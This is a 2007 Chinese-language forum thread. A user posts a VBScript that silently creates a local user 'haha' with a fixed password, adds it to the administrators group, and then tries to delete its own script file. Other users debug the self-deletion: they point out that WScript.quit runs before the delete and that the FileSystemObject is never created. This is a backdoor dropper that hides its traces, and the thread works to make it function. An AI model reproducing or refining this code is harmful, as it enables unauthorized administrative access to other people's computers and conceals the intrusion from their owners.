作者:heicai | 时间:2007-06-02 10:09 | 标题:VBS删自身文件又生疑云
Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
WScript.Sleep(2000)
Wsh.Run "cmd /c net user haha 121212 /add&net localgroup administrators haha /add",false,false
Set Wsh=NoThing
WScript.quit
fso.DeleteFile(WScript.ScriptFullName)
这段代码不知道哪有错误,无法实现删除自身。请教大虾指点
作者:jmz573515 | 时间:2007-06-02 10:35
Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
WScript.Sleep(2000)
Wsh.Run "cmd /c net user haha 121212 /add&net localgroup administrators haha /add",false,false
Set Wsh=NoThing
WScript.quit '这个地方已以退出了脚本,所以没法删除(把这句去掉就可以了)
fso.DeleteFile(WScript.ScriptFullName)
作者:3742668 | 时间:2007-06-02 10:57
But,Where is
fso from?
Set fso = CreateObject("Scripting.FileSystemObject")
...
作者:jmz573515 | 时间:2007-06-02 14:23
哈哈,没有细看....
作者:heicai | 时间:2007-06-02 19:33
感谢两位帮忙,问题终于解决